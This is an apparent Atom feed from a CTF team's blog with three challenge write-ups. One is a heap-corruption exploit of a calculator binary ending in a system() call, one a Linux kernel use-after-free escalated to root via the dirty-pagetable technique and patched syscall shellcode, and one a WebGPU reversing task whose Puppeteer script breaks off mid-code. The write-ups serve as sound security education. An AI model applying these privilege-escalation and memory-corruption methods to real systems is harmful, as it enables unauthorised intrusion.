<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.9.5">Jekyll</generator><link href="http://0.0.0.0:4000/feed.xml" rel="self" type="application/atom+xml" /><link href="http://0.0.0.0:4000/" rel="alternate" type="text/html" /><updated>2025-09-11T19:01:01+03:00</updated><id>http://0.0.0.0:4000/feed.xml</id><title type="html">Bushwhackers’ blog</title><subtitle>CTF write-ups and stuff</subtitle><entry><title type="html">BlackHat MEA CTF Qualification - Calc write-up</title><link href="http://0.0.0.0:4000/blackhat-mea-ctf-qualification-calc/" rel="alternate" type="text/html" title="BlackHat MEA CTF Qualification - Calc write-up" /><published>2025-09-09T20:00:00+03:00</published><updated>2025-09-09T20:00:00+03:00</updated><id>http://0.0.0.0:4000/blackhat-mea-ctf-qualification-calc</id><content type="html" xml:base="http://0.0.0.0:4000/blackhat-mea-ctf-qualification-calc/"><![CDATA[<p><strong>Calc</strong> was a pwn challenge with a stack underflow bug in a reverse Polish
notation calculator. The C++ <code class="language-plaintext highlighter-rouge">std::vector</code> used for the stack didn’t validate
size before operations, allowing us to pop from an empty vector and corrupt heap
metadata.</p>

<p>We exploited this by carefully traversing heap structures to leak ASLR-defeating
pointers through the corrupted vector’s <code class="language-plaintext highlighter-rouge">back()</code> method. After leaking the <code class="language-plaintext highlighter-rouge">xor</code>
function handler address, we overwrote it with <code class="language-plaintext highlighter-rouge">__errno_location@plt</code> to leak
libc base addresses. The final step required guessing one byte of the leaked
pointer (1/256 success rate) to call <code class="language-plaintext highlighter-rouge">system()</code> and get the flag.</p>

<!--more-->

<h2 id="the-bug">The bug</h2>

<p>After decompiling the binary, we get roughly the following C++ code (rewritten
as pseudocode for clarity):</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">unordered_map</span><span class="o">&lt;</span><span class="n">string</span><span class="p">,</span> <span class="n">function</span><span class="o">&lt;</span><span class="kt">int</span><span class="p">(</span><span class="kt">int</span><span class="p">,</span> <span class="kt">int</span><span class="p">)</span><span class="o">&gt;&gt;</span> <span class="n">ops</span> <span class="o">=</span> <span class="p">...;</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
    <span class="k">while</span><span class="p">(</span><span class="nb">true</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"--- Enter code: ---</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
        <span class="n">vector</span><span class="o">&lt;</span><span class="kt">int</span><span class="o">&gt;</span> <span class="n">stack</span><span class="p">;</span>
        <span class="n">string</span> <span class="n">cmd</span><span class="p">;</span>
        <span class="k">for</span><span class="p">(;;)</span>
        <span class="p">{</span>
            <span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">cmd</span><span class="p">;</span>
            <span class="k">if</span><span class="p">(</span><span class="n">cmd</span> <span class="o">==</span> <span class="s">"end"</span><span class="p">)</span>
                <span class="k">break</span><span class="p">;</span>
            <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">cmd</span> <span class="o">==</span> <span class="s">"quit"</span><span class="p">)</span>
                <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
            <span class="k">auto</span> <span class="n">it</span> <span class="o">=</span> <span class="n">ops</span><span class="p">.</span><span class="n">find</span><span class="p">(</span><span class="n">cmd</span><span class="p">);</span>
            <span class="k">if</span><span class="p">(</span><span class="n">it</span> <span class="o">!=</span> <span class="n">ops</span><span class="p">.</span><span class="n">end</span><span class="p">())</span>
            <span class="p">{</span>
                <span class="kt">int</span> <span class="n">a</span> <span class="o">=</span> <span class="n">stack</span><span class="p">.</span><span class="n">back</span><span class="p">();</span>
                <span class="n">stack</span><span class="p">.</span><span class="n">pop_back</span><span class="p">();</span>
                <span class="kt">int</span> <span class="n">b</span> <span class="o">=</span> <span class="n">stack</span><span class="p">.</span><span class="n">back</span><span class="p">();</span>
                <span class="n">stack</span><span class="p">.</span><span class="n">pop_back</span><span class="p">();</span>
                <span class="n">stack</span><span class="p">.</span><span class="n">push_back</span><span class="p">(</span><span class="n">it</span><span class="o">-&gt;</span><span class="n">second</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">));</span>
            <span class="p">}</span>
            <span class="k">else</span>
                <span class="n">stack</span><span class="p">.</span><span class="n">push_back</span><span class="p">(</span><span class="n">stoi</span><span class="p">(</span><span class="n">cmd</span><span class="p">));</span>
        <span class="p">}</span>
        <span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"Result: "</span> <span class="o">&lt;&lt;</span> <span class="n">stack</span><span class="p">.</span><span class="n">back</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="n">endl</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>We see that the app implements a simple reverse Polish notation interpreter with
several predefined operations (add, sub, mul, div, and, or, xor). The stack is
stored inside a C++ std::vector, and the code never checks that there are enough
operands for the operation. This means, that we can make the code pop from an
empty vector.</p>

<p>C++ vectors are represented as 3 pointers, here I’ll name them <code class="language-plaintext highlighter-rouge">start</code>, <code class="language-plaintext highlighter-rouge">stop</code>,
<code class="language-plaintext highlighter-rouge">cap</code> (I don’t remember the actual glibcxx field names). <code class="language-plaintext highlighter-rouge">start</code> points to the
start of the buffer (i.e. the same as the <code class="language-plaintext highlighter-rouge">begin()</code> iterator), <code class="language-plaintext highlighter-rouge">stop</code> points to
the past-the-last element (same as <code class="language-plaintext highlighter-rouge">end()</code>), and <code class="language-plaintext highlighter-rouge">cap</code> points to the end of the
actually allocated buffer. Crucially, std::vector never shrinks the underlying
allocation unless specifically told to do so.</p>

<p>To exploit the bug, we have to do the following:</p>

<ol>
  <li>Push some integer (0) to the stack, so that the pointers become non-NULL.</li>
  <li>Perform some operations on the stack, and let <code class="language-plaintext highlighter-rouge">stop</code> become less than
<code class="language-plaintext highlighter-rouge">start</code>. These operations might corrupt the heap somewhere below the vector’s
buffer.</li>
  <li>Perform an <code class="language-plaintext highlighter-rouge">end</code> command. This will leak a single dword from the heap
(wherever <code class="language-plaintext highlighter-rouge">back()</code> happens to point) and free the vector (this won’t cause
any issues as long as the heap structures are intact, since the <code class="language-plaintext highlighter-rouge">start</code>
pointer still points to the actual start of the buffer)</li>
</ol>

<h2 id="heap-layout">Heap layout</h2>

<p>Fortunately for us, although the binary has ASLR, relative layout of the heap is
still completely deterministic. This means that we can look at it in the
debugger, to see if we can find a useful pointer to leak.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) p {void*[264]}(({void*}$rdi) - 264 * 8)
$3 = {0x5602a9791dbf &lt;std::_Function_handler&lt;int (int, int), ops[abi:cxx11]::{lambda(int, int)#7}&gt;::_M_invoke(std::_Any_data const&amp;, int&amp;&amp;, int&amp;&amp;)&gt;, 0xb3b3ec7f4e05e105, 0x0, 0x411, 0x65746e45202d2d2d,
  0x2d2065646f632072, 0xa2d2d, 0x0 &lt;repeats 126 times&gt;, 0x411, 0x6e65206464612030, 0xa64, 0x0 &lt;repeats 127 times&gt;, 0x21}
</code></pre></div></div>

<p>Here:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">0x411</code> and <code class="language-plaintext highlighter-rouge">0x21</code> are glibc heap block sizes, which are not very interesting
to us</li>
  <li><code class="language-plaintext highlighter-rouge">0x6e65206464612030, 0xa64</code> is our input string <code class="language-plaintext highlighter-rouge">"0 add end\n"</code> (this is the
std::cin buffer)</li>
  <li><code class="language-plaintext highlighter-rouge">0x65746e45202d2d2d, 0x2d2065646f632072, 0xa2d2d</code> is the string
<code class="language-plaintext highlighter-rouge">"--- Enter code: ---\n"</code> (this is the std::cout buffer)</li>
  <li><code class="language-plaintext highlighter-rouge">0x5602a9791dbf</code> is the function handler for the <code class="language-plaintext highlighter-rouge">xor</code> operation (we want to
leak this to defeat ASLR, and later overwrite it for exploitation)</li>
  <li><code class="language-plaintext highlighter-rouge">0xb3b3ec7f4e05e105</code> is the hash of the string <code class="language-plaintext highlighter-rouge">"xor"</code> (we’ll want to restore
that one)</li>
</ul>

<p>It turned out that the heap layout on the server differs a bit, so I had to
bruteforce some of the offsets to make it work, but in the end it worked just
fine.</p>

<h2 id="actually-leaking-stuff">Actually leaking stuff</h2>

<p>Unfortunately, we can’t go through the heap with our stack interpreter without
corrupting data. Or can we?</p>

<ul>
  <li>If <code class="language-plaintext highlighter-rouge">back()</code> is zero, we can use <code class="language-plaintext highlighter-rouge">or</code> (or <code class="language-plaintext highlighter-rouge">add</code>) to pop it off without
corrupting the next dword</li>
  <li>If <code class="language-plaintext highlighter-rouge">back()</code> is nonzero, but the next dword is zero, we can use <code class="language-plaintext highlighter-rouge">and</code> (or
<code class="language-plaintext highlighter-rouge">mul</code>) to pop it off without corrupting the zero</li>
</ul>

<p>These two facts let us slip through the heap metadata without corrupting it
(since the heap is deterministic, we can just hardcode the commands here). Also,
we don’t have to preserve the cout buffer — at worst, it will make the
output gibberish, but even that does not seem to actually happen. But, we do
have to preserve the cin buffer, since it’s where our commands are being parsed
from.</p>

<p>To do that, I came up with the following:</p>

<ol>
  <li>Send data to the application in chunks of 512 bytes, wait until the latest
fragment has been TCP ACKed before sending any more fragments. This ensures
that the location of the cin buffer is a) well-known and b) its size is a
multiple of 4.</li>
  <li>When passing through the cin buffer, do it using <code class="language-plaintext highlighter-rouge">"or  "</code> commands (note the
extra space). The extra space is needed so that all dwords in the cin buffer
are equal, and <code class="language-plaintext highlighter-rouge">or</code> operations do not corrupt the buffer.</li>
  <li>Once we have passed the <code class="language-plaintext highlighter-rouge">0x411</code> that follows the hash table, zero out the
hash using two <code class="language-plaintext highlighter-rouge">and</code> operation, pop the bottom zero using an extra <code class="language-plaintext highlighter-rouge">or</code>, and
leak the high dword of the pointer as the “calculation” result.</li>
  <li>Repeat the leak with one extra <code class="language-plaintext highlighter-rouge">and</code> to zero the upper dword and leak the
lower one. We do not use the <code class="language-plaintext highlighter-rouge">xor</code> operation in our exploit, so temporarily
corrupting the structure is not a problem.</li>
</ol>

<p>Now we’ve defeated ASLR by leaking the pointer to the <code class="language-plaintext highlighter-rouge">xor</code> std::function
handler. We can also trivially overwrite the pointer, by zeroing it first, then
<code class="language-plaintext highlighter-rouge">or</code>‘ing in the lower half, then pushing a bunch of other dwords we want to
restore (at the very least, upper half of that pointer &amp; the hash).</p>

<p>If only we had a one_gadget right in the main binary…</p>

<h2 id="leaking-libc">Leaking libc</h2>

<p>Unfortunately, the heap does not seem to contain libc pointers that can be
leaked with our primitive. A teammate suggested that I could cause pressure to
the allocator to cause it to leak some libc pointers to the heap, but since the
only operation we can really do is reallocating the vector during <code class="language-plaintext highlighter-rouge">push_back</code>,
that one is a no-go. I decided to search through the binary’s PLT to see if it
contains a useful function. And sure it does!</p>

<p>The abi of the std::function handlers, as used by the binary, is
<code class="language-plaintext highlighter-rouge">int(void*, int*, int*)</code>. This means that we can call any function with a single
partially controlled argument (the first argument is the std::function itself,
0x18 bytes before the pointer). And there is a useful function in the imports:
<code class="language-plaintext highlighter-rouge">int* __errno_location(void)</code>. Through my experiments, I observed that the
address it returns, although not lying directly inside libc, is always at a
constant offset from it, so it can be used to leak the libc base (and thus the
address of <code class="language-plaintext highlighter-rouge">system</code>).</p>

<p>Now, if we overwrite the <code class="language-plaintext highlighter-rouge">0x5602a9791dbf</code> pointer with a pointer to
<code class="language-plaintext highlighter-rouge">__errno_location@plt</code> inside the binary, and execute an innocent <code class="language-plaintext highlighter-rouge">1 2 xor end</code>,
we get a truncated pointer as a result. Knowing the 32 lowest bits of the
pointer, we can assume that the 5th byte (bits 40-47) is <code class="language-plaintext highlighter-rouge">0x7f</code> (was always the
case on my machine, at the very least), and assume a random value for the 4th
byte. This will make the exploit have only a 1/256 chance of success, but it’s
better than nothing.</p>

<h2 id="calling-system">Calling system()</h2>

<p>Now that we’ve leaked (hopefully!) the address of <code class="language-plaintext highlighter-rouge">system</code>, we can use the same
heap write primitive to write <code class="language-plaintext highlighter-rouge">"cat /flag*; sleep inf"</code> to the start of our
std::function, also overwriting its handler with <code class="language-plaintext highlighter-rouge">system()</code>, then execute
<code class="language-plaintext highlighter-rouge">1 2 xor</code> again to get the flag. At this point, we either crash (if our guessed
byte was incorrect), or get the flag and hang up.</p>

<p>I then put the exploit on repeat, and after about 10 minutes it gave me the
flag.</p>]]></content><author><name>[&quot;sleirsgoevy&quot;]</name></author><category term="write-up" /><category term="pwn" /><summary type="html"><![CDATA[Calc was a pwn challenge with a stack underflow bug in a reverse Polish notation calculator. The C++ std::vector used for the stack didn’t validate size before operations, allowing us to pop from an empty vector and corrupt heap metadata. We exploited this by carefully traversing heap structures to leak ASLR-defeating pointers through the corrupted vector’s back() method. After leaking the xor function handler address, we overwrote it with __errno_location@plt to leak libc base addresses. The final step required guessing one byte of the leaked pointer (1/256 success rate) to call system() and get the flag.]]></summary></entry><entry><title type="html">BlackHat MEA CTF Qualification - Kinc write-up</title><link href="http://0.0.0.0:4000/blackhat-mea-ctf-qualification-kinc/" rel="alternate" type="text/html" title="BlackHat MEA CTF Qualification - Kinc write-up" /><published>2025-09-09T20:00:00+03:00</published><updated>2025-09-09T20:00:00+03:00</updated><id>http://0.0.0.0:4000/blackhat-mea-ctf-qualification-kinc</id><content type="html" xml:base="http://0.0.0.0:4000/blackhat-mea-ctf-qualification-kinc/"><![CDATA[<p><strong>Kinc</strong> was a kernel exploitation challenge with a vulnerable kernel module
featuring a use-after-free bug. The module’s increment primitive had an 8-bit
counter that could be overflowed to bypass usage restrictions.</p>

<p>We used the “dirty page” technique to replace freed kernel objects with page
table entries. By mapping memory at specific addresses and using the vulnerable
increment primitive to modify physical addresses within page tables, we gained
read/write access to all physical memory. Finally, we patched the <code class="language-plaintext highlighter-rouge">kexec_load</code>
syscall with privilege escalation shellcode to get root and retrieve the flag.</p>

<!--more-->

<h2 id="the-bug">The bug</h2>

<p>In this task, we’re given a buggy kernel module, and we’re asked to get root on
a machine with this buggy module loaded. The module exposes a <code class="language-plaintext highlighter-rouge">/dev/vuln</code>
device, with a handful of ioctls:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="k">struct</span> <span class="n">kmem_cache</span> <span class="o">*</span><span class="n">obj_cachep</span><span class="p">;</span>
<span class="k">static</span> <span class="nf">DEFINE_MUTEX</span><span class="p">(</span><span class="n">module_lock</span><span class="p">);</span>

<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">inc_used</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">obj</span> <span class="o">*</span><span class="n">selected</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">obj</span> <span class="o">*</span><span class="n">obj_array</span><span class="p">[</span><span class="n">MAX_OBJ_NUM</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="nb">NULL</span> <span class="p">};</span>

<span class="k">static</span> <span class="kt">long</span> <span class="nf">module_ioctl</span><span class="p">(</span><span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="n">file</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">cmd</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">arg</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">long</span> <span class="n">ret</span> <span class="o">=</span> <span class="o">-</span><span class="n">EINVAL</span><span class="p">;</span>
  <span class="n">mutex_lock</span><span class="p">(</span><span class="o">&amp;</span><span class="n">module_lock</span><span class="p">);</span>

  <span class="k">if</span> <span class="p">(</span><span class="n">arg</span> <span class="o">&gt;=</span> <span class="n">MAX_OBJ_NUM</span><span class="p">)</span>
    <span class="k">goto</span> <span class="n">out</span><span class="p">;</span>

  <span class="k">switch</span> <span class="p">(</span><span class="n">cmd</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">case</span> <span class="n">CMD_ALLOC</span><span class="p">:</span>
      <span class="n">obj_array</span><span class="p">[</span><span class="n">arg</span><span class="p">]</span> <span class="o">=</span> <span class="n">kmem_cache_zalloc</span><span class="p">(</span><span class="n">obj_cachep</span><span class="p">,</span> <span class="n">GFP_KERNEL</span><span class="p">);</span>
      <span class="n">ret</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
      <span class="k">break</span><span class="p">;</span>

    <span class="k">case</span> <span class="n">CMD_SEL</span><span class="p">:</span>
      <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">obj_array</span><span class="p">[</span><span class="n">arg</span><span class="p">])</span>
        <span class="k">goto</span> <span class="n">out</span><span class="p">;</span>
      <span class="n">selected</span> <span class="o">=</span> <span class="n">obj_array</span><span class="p">[</span><span class="n">arg</span><span class="p">];</span>
      <span class="n">ret</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
      <span class="k">break</span><span class="p">;</span>

    <span class="k">case</span> <span class="n">CMD_INC</span><span class="p">:</span>
      <span class="k">if</span> <span class="p">(</span><span class="n">inc_used</span><span class="o">++</span> <span class="o">&gt;</span> <span class="mi">1</span><span class="p">)</span>
        <span class="k">goto</span> <span class="n">out</span><span class="p">;</span>
      <span class="n">selected</span><span class="o">-&gt;</span><span class="n">cnt</span><span class="o">++</span><span class="p">;</span>
      <span class="n">ret</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
      <span class="k">break</span><span class="p">;</span>

    <span class="k">case</span> <span class="n">CMD_DELETE</span><span class="p">:</span>
      <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">obj_array</span><span class="p">[</span><span class="n">arg</span><span class="p">])</span>
        <span class="k">goto</span> <span class="n">out</span><span class="p">;</span>
      <span class="n">kmem_cache_free</span><span class="p">(</span><span class="n">obj_cachep</span><span class="p">,</span> <span class="n">obj_array</span><span class="p">[</span><span class="n">arg</span><span class="p">]);</span>
      <span class="n">obj_array</span><span class="p">[</span><span class="n">arg</span><span class="p">]</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
      <span class="n">ret</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
      <span class="k">break</span><span class="p">;</span>
  <span class="p">}</span>

 <span class="nl">out:</span>
  <span class="n">mutex_unlock</span><span class="p">(</span><span class="o">&amp;</span><span class="n">module_lock</span><span class="p">);</span>
  <span class="k">return</span> <span class="n">ret</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This module lets us allocate up to 256 “objects”, deallocate already allocated
objects, “select” one object (this stores the pointer to the object in a static
variable), and increment a field inside the object (the object is 0x800 bytes in
size, and the field we’re incrementing is at 0x7f8).</p>

<p>It seems that the authors meant to have the increment primitive being usable
only once, but since the <code class="language-plaintext highlighter-rouge">inc_used</code> variable is only 8 bits, it can be easily
overflown, and this restriction is not really an issue.</p>

<h2 id="linux-heap-basics-really-quickly">Linux heap basics (really quickly)</h2>

<p>In the Linux kernel, allocations are usually performed from so-called slabs.
This means that a page is divided into consecutive chunks of the same size, and
they are allocated/freed as necessary. A page is never shared between different
slabs at the same time. There are both “generic” slabs for kmalloc allocations
of common sizes, and specialized slabs that hold only one type of objects (like
the one used in this task).</p>

<h2 id="the-dirty-page-technique">The “Dirty page” technique</h2>

<p>Since reallocating a freed <code class="language-plaintext highlighter-rouge">struct obj</code> with another <code class="language-plaintext highlighter-rouge">struct obj</code> is not very
useful, and the slab is specialized, what we have to do is free the whole page
containing the freed object, and replace it with a completely different type of
page. A
<a href="https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html">common technique</a>
here is to reallocate it as a pagetable for a userspace process.</p>

<p>So, the exploit flow is as follows:</p>

<ol>
  <li>Allocate a bunch of vulnerable objects, “select” one of them, then free the
objects.</li>
  <li>Use <code class="language-plaintext highlighter-rouge">memfd_create</code> to get an ephemeral in-memory file, resize it to 1 page
(4096 bytes), and map it at multiple addresses, whose lower 21 bits are
<code class="language-plaintext highlighter-rouge">0xff000</code>. This ensures that a separate page table is allocated for each
mapping, and the shared page’s physical address is stored at offset 0x7f8
inside the page table.</li>
  <li>Use the vulnerable increment primitive to “increment” the vulnerable object
4096 times. This makes the address in the page table point to the next
physical page instead of the original one.</li>
  <li>Flush the TLB by mprotecting the mappings to RO and back to RW and reprobing
every page.</li>
  <li>Find the one page where the page contents differ from the other pages.</li>
  <li>Keep incrementing the vulnerable object until our buggy page looks like a
pagetable (has a single nonzero qword at offset 0x7f8, whose lowermost byte
is 0x67 and uppermost byte is 0x80)</li>
  <li>Replace that mapping with <code class="language-plaintext highlighter-rouge">7</code> (which points to physical address 0 with user
RWX permissions), search through the mappings again until we find a real-mode
IVT in one of them.</li>
  <li>Now we can write any 512 physical addresses (OR’ed with 7 to give userspace
RW permissions) to the first bogus page, and access the corresponding pages
through the second bogus mapping.</li>
</ol>

<p>After we’ve got RW access to all of the physical memory, all we need to do is to
patch some useless syscall with shellcode that will give us root. I opted to
replace <code class="language-plaintext highlighter-rouge">kexec_load</code> with a small shellcode that calls
<code class="language-plaintext highlighter-rouge">commit_creds(prepare_kernel_cred(&amp;init_task))</code>, which gives our process root &amp;
full capabilities. Since we’re working at physical memory level, memory
permissions are not an issue, and we can just pattern-match the original
<code class="language-plaintext highlighter-rouge">kexec_load</code> syscall and replace it with the shellcode. After that, a
<code class="language-plaintext highlighter-rouge">system("cat /dev/sdb")</code> is all it takes to get the flag.</p>]]></content><author><name>[&quot;sleirsgoevy&quot;]</name></author><category term="write-up" /><category term="pwn" /><summary type="html"><![CDATA[Kinc was a kernel exploitation challenge with a vulnerable kernel module featuring a use-after-free bug. The module’s increment primitive had an 8-bit counter that could be overflowed to bypass usage restrictions. We used the “dirty page” technique to replace freed kernel objects with page table entries. By mapping memory at specific addresses and using the vulnerable increment primitive to modify physical addresses within page tables, we gained read/write access to all physical memory. Finally, we patched the kexec_load syscall with privilege escalation shellcode to get root and retrieve the flag.]]></summary></entry><entry><title type="html">SAS CTF 2025 Quals - Washing Machine write-up</title><link href="http://0.0.0.0:4000/sas-ctf-2025-quals-washing-machine/" rel="alternate" type="text/html" title="SAS CTF 2025 Quals - Washing Machine write-up" /><published>2025-05-30T15:00:00+03:00</published><updated>2025-05-30T15:00:00+03:00</updated><id>http://0.0.0.0:4000/sas-ctf-2025-quals-washing-machine</id><content type="html" xml:base="http://0.0.0.0:4000/sas-ctf-2025-quals-washing-machine/"><![CDATA[<p>Washing Machine was a fun WebGPU challenge on SAS CTF 2025 quals.</p>

<p>We had to reverse enormous minified JavaScript, brute-force our way to find the
correct washing cycle and temperature combination, and patch the shader code to
give us the computed texture data back.</p>

<p>We were the only team that managed to solve this challenge.</p>

<!--more-->

<p>The challenge was given as an URL to a webpage.</p>

<p>Initially, just an empty page was rendered. Firefox doesn’t support
WebGPU, and Chromium requires extra flags to enable it.</p>

<p>On Linux, the following flags are required to enable it (Vulkan is not
strictly necessary, but it’s painfully slow without it):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>chrome --enable-unsafe-webgpu --enable-features=Vulkan
</code></pre></div></div>

<p><img src="/files/washing-machine/intro.webp" /></p>

<p>The challenge begins with an animated 3D scene with a fancy washing machine
being loaded with a really dirty towel. As it being brought closer, you can
barely see <code class="language-plaintext highlighter-rouge">SAS{</code> and <code class="language-plaintext highlighter-rouge">}</code> letters written on it.</p>

<p>You select one of the 10 washing cycles, adjust temperature from 20 to 100
degrees Celsius, and press a button start the washing cycle:</p>

<p><img src="/files/washing-machine/modes.webp" /></p>

<p>The towel slowly morphs into a fine mess of colored pixels, but the washing cycle
never seems to end.</p>

<p><img src="/files/washing-machine/washing.webp" /></p>

<p>It’s time to dive into the code.</p>

<h3 id="code">Code</h3>

<p>All the code is contained in a 55 MB file of minified and lightly obfuscated
JavaScript. All the logic, entire <a href="https://babylonjs.com/">BabylonJS</a> library,
models and textures are bundled within.</p>

<p>I beautified the file, and started looking around.</p>

<p>The logic we’re interested in is located at the end of the file. It was hard to
follow, and I never understood it entirely, but eventually I saw some patterns
that were enough to get to the solution.</p>

<p>First, the mode and the temperature are used as a seed to a PRNG:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">_0x5b4ed5</span> <span class="o">=</span> <span class="nx">nc</span><span class="p">[</span><span class="dl">'</span><span class="s1">xoroshiro128plus</span><span class="dl">'</span><span class="p">](</span><span class="nx">_0x34c5ac</span><span class="p">[</span><span class="dl">'</span><span class="s1">nMode</span><span class="dl">'</span><span class="p">]</span> <span class="o">*</span> <span class="mh">0x64</span> <span class="o">+</span> <span class="nx">_0x34c5ac</span><span class="p">[</span><span class="dl">'</span><span class="s1">nTemp</span><span class="dl">'</span><span class="p">]);</span>
</code></pre></div></div>

<p>Second, the washing itself is implemented with several compute shaders. I
didn’t bother to understand any of them in detail, but apparently the input is
initialized with aforementioned PRNG, and the output gets rendered on towel.
Unless mode and temperature are both right, you’ll only get randomly colored
pixels.</p>

<p>Third, the computation is slowed down with <code class="language-plaintext highlighter-rouge">setTimeout</code>. I decreased
<code class="language-plaintext highlighter-rouge">setTimeout</code> argument from 10 seconds (<code class="language-plaintext highlighter-rouge">0x2710</code>) to 1 millisecond, the washing
cycle became much faster, actually completing in about a minute.</p>

<h3 id="solving-the-task">Solving the task</h3>

<p>10 washing cycles × 81 temperature settings equals to 810. It’s not that bad.
Brute force search is absolutely feasible, and likely is the intended solution.</p>

<p>Now, I was at the fork in the road:</p>

<ul>
  <li>I could extract compute shaders, their inputs, etc. and run them as standalone
script.</li>
  <li>I could play dirty, and modify the existing code to make it do what I want.</li>
</ul>

<p>I opted for the second path.</p>

<p>Here’s the list of changes I did:</p>

<ol>
  <li>Reduced artificial delays between iterations (see above).</li>
  <li>Removed the intro sequence of towel being brought to the washing machine.</li>
  <li>Added code to setup cycle, temperature, and start the washing program from URL parameters.</li>
  <li>Added a call to a global function <code class="language-plaintext highlighter-rouge">__WASHCALLBACK</code> once washing is done.</li>
</ol>

<p>I wrote a Puppeteer script that would launch multiple browsers in parallel, and
and take a screenshot of the result.</p>

<div class="language-typescript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">import</span> <span class="p">{</span> <span class="nx">launch</span><span class="p">,</span> <span class="nx">Browser</span><span class="p">,</span> <span class="nx">LaunchOptions</span> <span class="p">}</span> <span class="k">from</span> <span class="dl">"</span><span class="s2">puppeteer</span><span class="dl">"</span>

<span class="k">import</span> <span class="p">{</span> <span class="nx">Semaphore</span> <span class="p">}</span> <span class="k">from</span> <span class="dl">'</span><span class="s1">async-mutex</span><span class="dl">'</span><span class="p">;</span>

<span class="k">import</span> <span class="p">{</span> <span class="nx">existsSync</span> <span class="p">}</span> <span class="k">from</span> <span class="dl">'</span><span class="s1">node:fs</span><span class="dl">'</span><span class="p">;</span>

<span class="k">async</span> <span class="kd">function</span> <span class="nx">sleep</span><span class="p">(</span><span class="nx">ms</span><span class="p">:</span> <span class="kr">number</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">await</span> <span class="k">new</span> <span class="nb">Promise</span><span class="p">((</span><span class="nx">resolve</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nx">setTimeout</span><span class="p">(</span><span class="nx">resolve</span><span class="p">,</span> <span class="nx">ms</span><span class="p">));</span>
<span class="p">}</span>

<span class="k">async</span> <span class="kd">function</span> <span class="nx">wash</span><span class="p">(</span><span class="nx">browser</span><span class="p">:</span> <span class="nx">Browser</span><span class="p">,</span> <span class="nx">mode</span><span class="p">:</span> <span class="kr">number</span><span class="p">,</span> <span class="nx">temp</span><span class="p">:</span> <span class="kr">number</span><span class="p">)</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">filename</span> <span class="o">=</span> <span class="s2">`images/mode</span><span class="p">${</span><span class="nx">mode</span><span class="p">}</span><span class="s2">_temp</span><span class="p">${</span><span class="nb">String</span><span class="p">(</span><span class="nx">temp</span><span class="p">).</span><span class="nx">padStart</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="dl">'</span><span class="s1">0</span><span class="dl">'</span><span class="p">)}</span><span class="s2">.png`</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="nx">existsSync</span><span class="p">(</span><span class="nx">filename</span><span class="p">))</span> <span class="k">return</span><span class="p">;</span>

    <span class="kd">const</span> <span class="nx">label</span> <span class="o">=</span> <span class="s2">`mode</span><span class="p">${</span><span class="nx">mode</span><span class="p">}</span><span class="s2">_temp</span><span class="p">${</span><span class="nx">temp</span><span class="p">}</span><span class="s2">`</span><span class="p">;</span>
    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">`</span><span class="p">${</span><span class="nx">label</span><span class="p">}</span><span class="s2">: starting`</span><span class="p">);</span>
    <span class="nx">console</span><span class="p">.</span><span class="nx">time</span><span class="p">(</span><span class="nx">label</span><span class="p">);</span>
    <span class="kd">const</span> <span class="nx">page</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">browser</span><span class="p">.</span><span class="nx">newPage</span><span class="p">();</span>
    <span class="k">try</span> <span class="p">{</span>
        <span class="c1">// conserve GPU resources by rendering 3D scene in lower resolution</span>
        <span class="c1">// while still washing</span>
        <span class="k">await</span> <span class="nx">page</span><span class="p">.</span><span class="nx">setViewport</span><span class="p">({</span>
            <span class="na">width</span><span class="p">:</span> <span class="mi">128</span><span class="p">,</span>
            <span class="na">height</span><span class="p">:</span> <span class="mi">128</span><span class="p">,</span>
        <span class="p">});</span>

